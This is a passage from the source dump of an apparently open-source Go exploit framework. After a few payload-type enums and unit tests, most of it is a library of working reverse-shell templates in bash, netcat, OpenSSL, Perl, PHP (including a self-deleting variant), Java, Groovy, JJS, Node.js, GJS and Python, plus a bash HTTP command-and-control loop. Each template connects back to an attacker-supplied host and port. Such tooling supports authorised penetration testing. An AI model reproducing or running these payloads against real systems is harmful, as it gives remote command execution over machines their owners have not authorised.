false\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Unexpected payload type used\")\n\n\t\treturn false\n\t}\n}\n\n// If the payload type should be categorized as a payload based type. This can be used to check if the selected type is a payload type without doing type comparisons. An example of it's usages in combination with a custom payload can be seen below:\n//\n//\tif conf.HasCustomPayload() {\n//\t\tif conf.SelectedPayload.Type.IsPayload() {\n//\t\t\toutput.PrintfStatus(\"using binary len %d in place of default\", len(string(conf.CustomPayload)))\n//\t\t} else {\n//\t\t\toutput.PrintfStatus(\"using '%s' in place of default\", string(conf.CustomPayload))\n//\t\t}\n//\t}\nfunc (t Type) IsPayload() bool {\n\tswitch t {\n\tcase LinuxCommand:\n\t\treturn false\n\tcase WindowsCommand:\n\t\treturn false\n\tcase WindowsPowerShellCommand:\n\t\treturn false\n\tcase MacCommand:\n\t\treturn false\n\tcase GenericCommand:\n\t\treturn false\n\tcase LinuxELF:\n\t\treturn true\n\tcase LinuxSO:\n\t\treturn true\n\tcase WindowsEXE:\n\t\treturn true\n\tcase WindowsDLL:\n\t\treturn true\n\tcase Webshell:\n\t\treturn true\n\tcase UnspecifiedType:\n\t\treturn false\n\tdefault:\n\t\tif !testing.Testing() {\n\t\t\toutput.PrintFrameworkError(\"Unexpected payload type used\")\n\t\t}\n\n\t\treturn false\n\t}\n}\n\nfunc TypeFromString(s string) Type {\n\tswitch s {\n\tcase \"LinuxCommand\":\n\t\treturn LinuxCommand\n\tcase \"WindowsCommand\":\n\t\treturn WindowsCommand\n\tcase \"WindowsPowerShellCommand\":\n\t\treturn WindowsPowerShellCommand\n\tcase \"MacCommand\":\n\t\treturn MacCommand\n\tcase \"GenericCommand\":\n\t\treturn GenericCommand\n\tcase \"LinuxELF\":\n\t\treturn LinuxELF\n\tcase \"LinuxSO\":\n\t\treturn LinuxSO\n\tcase \"WindowsEXE\":\n\t\treturn WindowsEXE\n\tcase \"WindowsDLL\":\n\t\treturn WindowsDLL\n\tcase \"Webshell\":\n\t\treturn Webshell\n\tcase \"Unspecified\", \"UnspecifiedType\":\n\t\treturn UnspecifiedType\n\tdefault:\n\t\tif !testing.Testing() {\n\t\t\toutput.PrintFrameworkError(\"Unexpected payload type used for string parsing\")\n\t\t}\n\n\t\treturn UnspecifiedType\n\t}\n}\n\nfunc (e Effect) String() string {\n\tswitch e {\n\tcase FileCreate:\n\t\treturn \"FileCreate\"\n\tcase FileOverwrite:\n\t\treturn \"FileOverwrite\"\n\tcase FileDelete:\n\t\treturn \"FileDelete\"\n\tcase Execute:\n\t\treturn \"Execute\"\n\tcase InMemory:\n\t\treturn \"InMemory\"\n\tcase ConfigChanges:\n\t\treturn \"ConfigChanges\"\n\tcase IndicatorInLogs:\n\t\treturn \"IndicatorInLogs\"\n\tcase AccountLockout:\n\t\treturn \"AccountLockout\"\n\tcase Physical:\n\t\treturn \"Physical\"\n\tcase WebRequest:\n\t\treturn \"WebRequest\"\n\tcase ReverseShellTCP:\n\t\treturn \"ReverseShellTCP\"\n\tcase ReverseShellUDP:\n\t\treturn \"ReverseShellUDP\"\n\tcase ReverseShellTLS:\n\t\treturn \"ReverseShellTLS\"\n\tcase Unknown:\n\t\treturn \"Unknown\"\n\tcase maxKey:\n\t\treturn \"Unknown\"\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Effect is not recognized.\")\n\n\t\treturn \"\"\n\t}\n}\n"
  },
  {
    "path": "payload/payload_test.go",
    "content": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestArchFromString(t *testing.T) {\n\tif payload.None != payload.ArchFromString(\"none\") {\n\t\tt.Fatal(payload.None.String())\n\t}\n\tif payload.AMD64 != payload.ArchFromString(\"amd64\") {\n\t\tt.Fatal(payload.AMD64.String())\n\t}\n\tif payload.AMD64 != payload.ArchFromString(\"x86_64\") {\n\t\tt.Fatal(payload.AMD64.String())\n\t}\n\tif payload.X86_64 != payload.ArchFromString(\"amd64\") {\n\t\tt.Fatal(payload.X86_64.String())\n\t}\n\tif payload.I386 != payload.ArchFromString(\"i386\") {\n\t\tt.Fatal(payload.I386.String())\n\t}\n\tif payload.I386 != payload.ArchFromString(\"x86\") {\n\t\tt.Fatal(payload.I386.String())\n\t}\n\tif payload.ARMEL != payload.ArchFromString(\"armel\") {\n\t\tt.Fatal(payload.ARMEL.String())\n\t}\n\tif payload.ARMHF != payload.ArchFromString(\"armhf\") {\n\t\tt.Fatal(payload.ARMHF.String())\n\t}\n\tif payload.ARM64 != payload.ArchFromString(\"arm64\") {\n\t\tt.Fatal(payload.ARM64.String())\n\t}\n\tif payload.MIPS != payload.ArchFromString(\"mips\") {\n\t\tt.Fatal(payload.MIPS.String())\n\t}\n\tif payload.MIPS64 != payload.ArchFromString(\"mips64\") {\n\t\tt.Fatal(payload.MIPS64.String())\n\t}\n\tif payload.MIPS64EL != payload.ArchFromString(\"mips64el\") {\n\t\tt.Fatal(payload.MIPS64EL.String())\n\t}\n\tif payload.PPC != payload.ArchFromString(\"ppc\") {\n\t\tt.Fatal(payload.PPC.String())\n\t}\n\tif payload.PPC64 != payload.ArchFromString(\"ppc64\") {\n\t\tt.Fatal(payload.PPC64.String())\n\t}\n\tif payload.PPC64EL != payload.ArchFromString(\"ppc64el\") {\n\t\tt.Fatal(payload.PPC64EL.String())\n\t}\n\tif payload.S390X != payload.ArchFromString(\"s390x\") {\n\t\tt.Fatal(payload.S390X.String())\n\t}\n\tif payload.S390X == payload.ArchFromString(\"aaaa\") {\n\t\tt.Fatal(payload.S390X.String())\n\t}\n}\n\nfunc TestTypeFromString(t *testing.T) {\n\tif payload.LinuxCommand != payload.TypeFromString(\"LinuxCommand\") {\n\t\tt.Fatal(payload.LinuxCommand.String())\n\t}\n\tif payload.WindowsCommand != payload.TypeFromString(\"WindowsCommand\") {\n\t\tt.Fatal(payload.WindowsCommand.String())\n\t}\n\tif payload.WindowsPowerShellCommand != payload.TypeFromString(\"WindowsPowerShellCommand\") {\n\t\tt.Fatal(payload.WindowsPowerShellCommand.String())\n\t}\n\tif payload.MacCommand != payload.TypeFromString(\"MacCommand\") {\n\t\tt.Fatal(payload.MacCommand.String())\n\t}\n\tif payload.GenericCommand != payload.TypeFromString(\"GenericCommand\") {\n\t\tt.Fatal(payload.GenericCommand.String())\n\t}\n\tif payload.LinuxELF != payload.TypeFromString(\"LinuxELF\") {\n\t\tt.Fatal(payload.LinuxELF.String())\n\t}\n\tif payload.LinuxSO != payload.TypeFromString(\"LinuxSO\") {\n\t\tt.Fatal(payload.LinuxSO.String())\n\t}\n\tif payload.WindowsEXE != payload.TypeFromString(\"WindowsEXE\") {\n\t\tt.Fatal(payload.WindowsEXE.String())\n\t}\n\tif payload.WindowsDLL != payload.TypeFromString(\"WindowsDLL\") {\n\t\tt.Fatal(payload.WindowsDLL.String())\n\t}\n\tif payload.Webshell != payload.TypeFromString(\"Webshell\") {\n\t\tt.Fatal(payload.Webshell.String())\n\t}\n\tif payload.UnspecifiedType != payload.TypeFromString(\"Unspecified\") {\n\t\tt.Fatal(payload.UnspecifiedType.String())\n\t}\n\tif payload.UnspecifiedType != payload.TypeFromString(\"UnspecifiedType\") {\n\t\tt.Fatal(payload.UnspecifiedType.String())\n\t}\n\tif payload.UnspecifiedType != payload.TypeFromString(\"aaaaaaaaa\") {\n\t\tt.Fatal(\"Bad type returned different type than Unspecified\")\n\t}\n}\n"
  },
  {
    "path": "payload/reverse/bash.go",
    "content": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tBashDefault        = BashTCPRedirection\n\tBashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'`\n\tBashHTTPShellLoop  = `bash -c 'while :; do curl -d \"$(bash -c \"$(curl %s-H\"VC-Auth: %s\" %s://%s:%d || exit)\")\" %s-H\"VC-Auth: %s\" %s://%s:%d/rx ||exit;sleep 1;done'`\n)\n\n// The default payload type for reverse bash utilizes the pseudo-dev networking redirects in default bash.\nfunc (bash *BashPayload) Default(lhost string, lport int) string {\n\treturn fmt.Sprintf(BashDefault, lhost, lport)\n}\n\n// Utilizes the bash networking pseudo `/dev/tcp/` functionality to create a reverse bash shell.\nfunc (bash *BashPayload) TCPRedirection(lhost string, lport int) string {\n\treturn fmt.Sprintf(BashDefault, lhost, lport)\n}\n\n// An infinite loop shell script that will stay running until the HTTP server fails to respond.\n// This fits the c2.HTTPShellServer C2 logic in a shell script form.\nfunc (bash *BashPayload) HTTPShellLoop(lhost string, lport int, ssl bool, auth string) string {\n\tk := ``\n\th := `http`\n\tif ssl {\n\t\th = \"https\"\n\t\tk = `-k `\n\t}\n\n\treturn fmt.Sprintf(BashHTTPShellLoop, k, auth, h, lhost, lport, k, auth, h, lhost, lport)\n}\n"
  },
  {
    "path": "payload/reverse/gjscript/glib_spawn.gjs",
    "content": "const Gio = imports.gi.Gio;\nconst GLib = imports.gi.GLib;\n\ntry {\n\tlet connection = (new Gio.SocketClient()).connect_to_host(\"%s:%d\", null, null);\n\tlet output = connection.get_output_stream();\n\tlet input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() });\n\n\twhile (true) {\n\t\tlet [cmd, size] = input.read_line(null);\n\t\tlet [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd));\n\t\toutput.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);\n\t}\n} catch (e) {\n}\n"
  },
  {
    "path": "payload/reverse/gjscript.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n//go:embed gjscript/glib_spawn.gjs\nvar GJScriptGLibSpawn string\nvar GJScriptDefault = GJScriptGLibSpawn\n\n// Generates Gnome JS payload.\nfunc (gjs *GJScriptPayload) Default(lhost string, lport int) string {\n\treturn strings.Trim(fmt.Sprintf(GJScriptDefault, lhost, lport), \"\\r\\n\")\n}\n\n// Generates a script that can be used to create a reverse shell via\n// gjs (Gnome JS - present on Ubuntu, Debian by default).\nfunc (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string {\n\treturn strings.Trim(fmt.Sprintf(GJScriptGLibSpawn, lhost, lport), \"\\r\\n\")\n}\n"
  },
  {
    "path": "payload/reverse/groovy/classic.groovy",
    "content": "shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();\n"
  },
  {
    "path": "payload/reverse/groovy.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed groovy/classic.groovy\n\tGroovyClassic string\n\tGroovyDefault = GroovyClassic\n)\n\nfunc (groovy *GroovyPayload) Default(lhost string, lport int) string {\n\treturn strings.Trim(groovy.GroovyClassic(lhost, lport), \"\\r\\n\")\n}\n\n// A short payload that creates a reverse shell using /bin/sh -i.\nfunc (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) string {\n\treturn strings.Trim(fmt.Sprintf(GroovyClassic, lhost, lport), \"\\r\\n\")\n}\n"
  },
  {
    "path": "payload/reverse/java/process_builder.java",
    "content": "String shell = \"/bin/sh\";\nif (System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n};\nProcess p = new ProcessBuilder(shell).redirectErrorStream(true).start();\nSocket s = new Socket(\"%s\", %d);\nInputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\nOutputStream po = p.getOutputStream(), so = s.getOutputStream();\nwhile (!s.isClosed()) {\n\twhile (pi.available() > 0) so.write(pi.read());\n\twhile (pe.available() > 0) so.write(pe.read());\n\twhile (si.available() > 0) po.write(si.read());\n\tso.flush();\n\tpo.flush();\n\tThread.sleep(50);\n\ttry {\n\t\tp.exitValue();\n\t\tbreak;\n\t} catch (Exception e) {}\n};\np.destroy();\ns.close();\n"
  },
  {
    "path": "payload/reverse/java.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed java/process_builder.java\n\tJavaProcessBuilderInteractive string\n\tJavaDefault                   = JavaProcessBuilderInteractive\n)\n\n// Defaults to the UnflattenedJava payload.\nfunc (java *JavaPayload) Default(lhost string, lport int) string {\n\treturn strings.Trim(java.UnflattenedJava(lhost, lport), \"\\r\\n\")\n}\n\n// An unflattened Java reverse shell. This is the \"classic\" Java reverse shell that spins out\n// the shell using ProcessBuilder and then redirects input/output to/from the sockets.\nfunc (java *JavaPayload) UnflattenedJava(lhost string, lport int) string {\n\treturn strings.Trim(fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport), \"\\r\\n\")\n}\n"
  },
  {
    "path": "payload/reverse/jjs/reverse_shell.jjs",
    "content": "var shell = \"bash\";\nif (java.lang.System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n}\nvar p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();var s=new java.net.Socket(\"%s\", %d);\nvar socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));\nvar socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));\nvar processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));\nvar processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));\n\nwhile (!s.isClosed()) {\n\tvar data\n\tif ((data = socketInput.readLine()) != null) {\n\t\tprocessInput.write(data + \"\\n\");\n\t\tprocessInput.flush()\n\t}\n\tjava.lang.Thread.sleep(50);\n\n\twhile (processOutput.ready() && (data = processOutput.read()) > 0) {\n\t\t\tsocketOutput.write(data);\n\t}\n\tsocketOutput.flush()\n\ttry {\n\t\tp.exitValue();\n\t\tbreak;\n\t} catch (e) {\n\t}\n}\n\np.destroy();\ns.close();\n"
  },
  {
    "path": "payload/reverse/jjs/reverse_shell_ssl.jjs",
    "content": "var shell = \"bash\";\nif (java.lang.System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n}\nvar p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();\nvar X509TrustManager = Java.type(\"javax.net.ssl.X509TrustManager\");\nvar permissiveTrustManager = Java.extend(X509TrustManager,\n  {\n    getAcceptedIssuers: function(){return null;},\n    checkClientTrusted: function(certs, authType){return;},\n    checkServerTrusted: function(certs, authType){return;}\n  }\n);\nvar trustAllCerts = [new permissiveTrustManager()];\nvar sc = javax.net.ssl.SSLContext.getInstance(\"TLS\");\nsc.init(null, trustAllCerts, new java.security.SecureRandom());\nvar factory = sc.getSocketFactory();\nvar s=factory.createSocket(\"%s\", %d);\ns.startHandshake()\nvar socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));\nvar socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));\nvar processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));\nvar processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));\n\nwhile (!s.isClosed()) {\n\tvar data\n\tif ((data = socketInput.readLine()) != null) {\n\t\tprocessInput.write(data + \"\\n\");\n\t\tprocessInput.flush()\n\t}\n\tjava.lang.Thread.sleep(50);\n\n\twhile (processOutput.ready() && (data = processOutput.read()) > 0) {\n\t\t\tsocketOutput.write(data);\n\t}\n\tsocketOutput.flush()\n\ttry {\n\t\tp.exitValue();\n\t\tbreak;\n\t} catch (e) {\n\t}\n}\n\np.destroy();\ns.close();\n"
  },
  {
    "path": "payload/reverse/jjs.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed jjs/reverse_shell.jjs\n\tJJSShell string\n\n\t//go:embed jjs/reverse_shell_ssl.jjs\n\tJJSShellSSL string\n)\n\n// Generates a script that can be used to create a reverse shell via jjs (Java javascript).\n// This is an adapted version of Frohoff's OG gist. Additionally, the disabling of TLS validation\n// logic was adapted from a blog written by Callan Howell-Pavia.\n//\n// The script will autodetect if the platform is Windows and provide a 'cmd.exe' shell. Otherwise\n// bash is used.\n//\n// https://redthunder.blog/2018/04/09/disabling-hostname-validation-in-nashorn-javascript/\n// https://gist.github.com/frohoff/8e7c2bf3737032a25051\nfunc (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) string {\n\tvar script string\n\tif ssl {\n\t\tscript = strings.Trim(fmt.Sprintf(JJSShellSSL, lhost, lport), \"\\r\\n\")\n\t} else {\n\t\tscript = strings.Trim(fmt.Sprintf(JJSShell, lhost, lport), \"\\r\\n\")\n\t}\n\n\treturn script\n}\n"
  },
  {
    "path": "payload/reverse/js.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\n\t//go:embed nodejs/reverse.js\n\tNodeJS string\n\t//go:embed nodejs/reverse_tls.js\n\tSecureNodeJS string\n)\n\n// NodeJS generates a Node compatible reverse shell with OS detection for Windows. It is not minified and utilizes double quotes.\nfunc (js *JavascriptPayload) NodeJS(lhost string, lport int) string {\n\treturn fmt.Sprintf(NodeJS, lport, lhost)\n}\n\n// SecureNodeJS generates a Node compatible reverse shell with TLS support with OS detection for Windows. It is not minified and utilizes double quotes.\nfunc (js *JavascriptPayload) SecureNodeJS(lhost string, lport int) string {\n\treturn fmt.Sprintf(SecureNodeJS, lport, lhost)\n}\n"
  },
  {
    "path": "payload/reverse/netcat.go",
    "content": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tNetcatDefault = NetcatGaping\n\tNetcatGaping  = `nc %s %d -e /bin/sh`\n\tNetcatMknod   = `cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%s; rm %s;`\n)\n\nfunc (nc *NetcatPayload) Default(lhost string, lport int) string {\n\treturn fmt.Sprintf(NetcatDefault, lhost, lport)\n}\n\n// Utilize the GAPING_SECURITY_HOLE `nc -e` netcat option.\nfunc (nc *NetcatPayload) Gaping(lhost string, lport int) string {\n\treturn fmt.Sprintf(NetcatGaping, lhost, lport)\n}\n\n// Uses mknod to create a FIFO that redirects interactive shell through netcat and the FIFO.\nfunc (nc *NetcatPayload) Mknod(lhost string, lport int) string {\n\tnode := random.RandLetters(3)\n\n\treturn fmt.Sprintf(NetcatMknod, node, node, lhost, lport, node, node)\n}\n"
  },
  {
    "path": "payload/reverse/nodejs/reverse.js",
    "content": "(function(){\n\tvar net = require('net'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"win32\") {\n\t\tshell = \"cmd.exe\"\n\t};\n\tvar sh = cp.spawn(shell, []);\n\tvar client = new net.Socket();\n\tclient.connect(%d, '%s', function(){\n\t\tclient.pipe(sh.stdin);\n\t\tsh.stdout.pipe(client);\n\t\tsh.stderr.pipe(client);\n\t});\n\treturn; \n})();"
  },
  {
    "path": "payload/reverse/nodejs/reverse_tls.js",
    "content": "(function(){\n\tvar tls = require('tls'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"win32\") {\n\t\tshell = \"cmd.exe\"\n\t};\n\n\tsh = cp.spawn(shell, []);\n\tvar client = new tls.TLSSocket();\n\toptions = {rejectUnauthorized: false}\n\tclient.connect(%d, '%s', options, function(){\n\t\tclient.pipe(sh.stdin);\n\t\tsh.stdout.pipe(client);\n\t\tsh.stderr.pipe(client);\n\t});\n\treturn; \n})();"
  },
  {
    "path": "payload/reverse/openssl.go",
    "content": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tOpenSSLDefault = OpenSSLMknod\n\tOpenSSLMknod   = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | openssl s_client -quiet -connect %s:%d > %s; rm %s;`\n\tOpenSSLMkfifo  = `cd /tmp; mkfifo %s; sh -i < %s 2>&1 | openssl s_client -quiet -connect %s:%d > %s; rm %s;`\n)\n\nfunc (openssl *OpenSSLPayload) Default(lhost string, lport int) string {\n\treturn openssl.Mknod(lhost, lport)\n}\n\nfunc (openssl *OpenSSLPayload) Mknod(lhost string, lport int) string {\n\tnode := random.RandLetters(3)\n\n\treturn fmt.Sprintf(OpenSSLDefault, node, node, lhost, lport, node, node)\n}\n\nfunc (openssl *OpenSSLPayload) Mkfifo(lhost string, lport int) string {\n\tfifo := random.RandLetters(3)\n\n\treturn fmt.Sprintf(OpenSSLMkfifo, fifo, fifo, lhost, lport, fifo, fifo)\n}\n"
  },
  {
    "path": "payload/reverse/perl.go",
    "content": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tPerlDefault    = PerlSocket\n\tPerlSocket     = `perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'`\n\tPerlFork       = `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'`\n\tPerlNonBlocking = `perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1}};'`\n)\n\nfunc (perl *PerlPayload) Default(lhost string, lport int) string {\n\treturn perl.Socket(lhost, lport)\n}\n\n// Uses socket redirection to create a reverse shell via /bin/sh -i.\nfunc (perl *PerlPayload) Socket(lhost string, lport int) string {\n\treturn fmt.Sprintf(PerlSocket, lhost, lport)\n}\n\n// Creates a forking reverse shell using IO::Socket::INET.\nfunc (perl *PerlPayload) Fork(lhost string, lport int) string {\n\treturn fmt.Sprintf(PerlFork, lhost, lport)\n}\n\n// Creates a non-blocking reverse shell using IO::Socket::INET without forking.\nfunc (perl *PerlPayload) NonBlocking(lhost string, lport int) string {\n\treturn fmt.Sprintf(PerlNonBlocking, lhost, lport)\n}\n"
  },
  {
    "path": "payload/reverse/php/unflattened.php",
    "content": "<?php\nfunction dataTransfer($input, $output) {\n\t$data = fread($input, 1024);\n\tfwrite($output, $data);\n}\n\nfunction windowsDataTransfer($input, $output) {\n\t$size = fstat($input)['size'];\n\twhile ($size > 0) {\n\t\t$readAmount = $size %% 1024;\n\t\t$data = fread($input, $readAmount);\n\t\tif (fwrite($output, $data)) {\n\t\t\t$size -= $readAmount;\n\t\t}\n\t}\n}\n\n$windows = false;\n$prog = \"/bin/sh\";\nif (strpos(strtolower(PHP_OS), \"win\") !== false) {\n\t$windows = true;\n\t$prog = \"cmd.exe\";\n}\n\n$context = stream_context_create([\n\t'ssl' => [\n\t\t'verify_peer' => false,\n\t\t'verify_peer_name' => false\n\t]\n]);\n\n$stream = stream_socket_client(\"%s\", $errno, $errstr, ini_get(\"default_socket_timeout\"), STREAM_CLIENT_CONNECT, $context);\n$process = proc_open($prog, array(0=>array(\"pipe\", \"r\"), 1=>array(\"pipe\", \"w\"), 2=>array(\"pipe\", \"w\")), $pipes);\nstream_set_blocking($stream, 0);\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nwhile(true) {\n\tif (feof($stream) || feof($pipes[1])) {\n\t\tbreak;\n\t}\n\n\t$readArray = array($stream, $pipes[1], $pipes[2]);\n\t$empty = null;\n\t$selected = stream_select($readArray, $empty, $empty, null);\n\n\tif (in_array($stream, $readArray)) {\n\t\tdataTransfer($stream, $pipes[0]);\n\t}\n\tif ($windows == false) {\n\t\tif (in_array($pipes[1], $readArray)) {\n\t\t\tdataTransfer($pipes[1], $stream);\n\t\t}\n\t\tif (in_array($pipes[2], $readArray)) {\n\t\t\tdataTransfer($pipes[2], $stream);\n\t\t}\n\t} else {\n\t\tif (fstat($pipes[1])[\"size\"]) {\n\t\t\twindowsDataTransfer($pipes[1], $stream);\n\t\t}\n\t\tif (fstat($pipes[2])[\"size\"]) {\n\t\t\twindowsDataTransfer($pipes[2], $stream);\n\t\t}\n\t}\n}\n\n?>\n"
  },
  {
    "path": "payload/reverse/php/unflattened_self_delete.php",
    "content": "<?php\nclass Del {\n\tfunction __destruct() {\n\t    unlink(__FILE__);\n\t}\n}\n$d = new Del();\nunlink(__FILE__);\n\nfunction dataTransfer($input, $output) {\n\t$data = fread($input, 1024);\n\tfwrite($output, $data);\n}\n\nfunction windowsDataTransfer($input, $output) {\n\t$size = fstat($input)['size'];\n\twhile ($size > 0) {\n\t\t$readAmount = $size %% 1024;\n\t\t$data = fread($input, $readAmount);\n\t\tif (fwrite($output, $data)) {\n\t\t\t$size -= $readAmount;\n\t\t}\n\t}\n}\n\n$windows = false;\n$prog = \"/bin/sh\";\nif (strpos(strtolower(PHP_OS), \"win\") !== false) {\n\t$windows = true;\n\t$prog = \"cmd.exe\";\n}\n\n$context = stream_context_create([\n\t'ssl' => [\n\t\t'verify_peer' => false,\n\t\t'verify_peer_name' => false\n\t]\n]);\n\n$stream = stream_socket_client(\"%s\", $errno, $errstr, ini_get(\"default_socket_timeout\"), STREAM_CLIENT_CONNECT, $context);\n$process = proc_open($prog, array(0=>array(\"pipe\", \"r\"), 1=>array(\"pipe\", \"w\"), 2=>array(\"pipe\", \"w\")), $pipes);\nstream_set_blocking($stream, 0);\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nwhile(true) {\n\tif (feof($stream) || feof($pipes[1])) {\n\t\tbreak;\n\t}\n\n\t$readArray = array($stream, $pipes[1], $pipes[2]);\n\t$empty = null;\n\t$selected = stream_select($readArray, $empty, $empty, null);\n\n\tif (in_array($stream, $readArray)) {\n\t\tdataTransfer($stream, $pipes[0]);\n\t}\n\tif ($windows == false) {\n\t\tif (in_array($pipes[1], $readArray)) {\n\t\t\tdataTransfer($pipes[1], $stream);\n\t\t}\n\t\tif (in_array($pipes[2], $readArray)) {\n\t\t\tdataTransfer($pipes[2], $stream);\n\t\t}\n\t} else {\n\t\tif (fstat($pipes[1])[\"size\"]) {\n\t\t\twindowsDataTransfer($pipes[1], $stream);\n\t\t}\n\t\tif (fstat($pipes[2])[\"size\"]) {\n\t\t\twindowsDataTransfer($pipes[2], $stream);\n\t\t}\n\t}\n}\n\n?>\n"
  },
  {
    "path": "payload/reverse/php.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\tPHPDefault          = PHPLinuxInteractive\n\tPHPLinuxInteractive = `<?php $sock=fsockopen(\"%s\",%d);$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>`\n\n\t//go:embed php/unflattened.php\n\tPHPUnflattened string\n\t//go:embed php/unflattened_self_delete.php\n\tPHPUnflattenedSelfDelete string\n)\n\nfunc (php *PHPPayload) Default(lhost string, lport int) string {\n\treturn strings.Trim(php.LinuxInteractive(lhost, lport), \"\\r\\n\")\n}\n\n// A short payload that creates a reverse shell using /bin/sh -i.\nfunc (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {\n\treturn strings.Trim(fmt.Sprintf(PHPDefault, lhost, lport), \"\\r\\n\")\n}\n\n// Creates an encrypted reverse shell using PHP. The payload autodetects the operating system and\n// will selected cmd.exe or /bin/sh accordingly.. The user also specifies if the reverse shell\n// should be encrypted or not.\n//\n//\treverse.PHP.Unflattened(\"10.9.49.80\", 1270, true).\nfunc (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) string {\n\thostname := fmt.Sprintf(\"%s:%d\", lhost, lport)\n\tif encrypted {\n\t\thostname = \"tls://\" + hostname\n\t}\n\n\treturn strings.Trim(fmt.Sprintf(PHPUnflattened, hostname), \"\\r\\n\")\n}\n\n// Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete\n// and sets up destructors to delete file on disk when command exits.\nfunc (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted bool) string {\n\thostname := fmt.Sprintf(\"%s:%d\", lhost, lport)\n\tif encrypted {\n\t\thostname = \"tls://\" + hostname\n\t}\n\n\treturn strings.Trim(fmt.Sprintf(PHPUnflattenedSelfDelete, hostname), \"\\r\\n\")\n}\n"
  },
  {
    "path": "payload/reverse/python/reverse27.py",
    "content": "import socket\nimport subprocess\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\nwhile 1:\n    data = s.recv(1024).decode('UTF-8')\n    if data == 'exit\\n':\n        break\n    if len(data) > 0:\n        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n        s.send(proc.stdout.read() + proc.stderr.read())\ns.close()\n"
  },
  {
    "path": "payload/reverse/python/reverse27_secure.py",
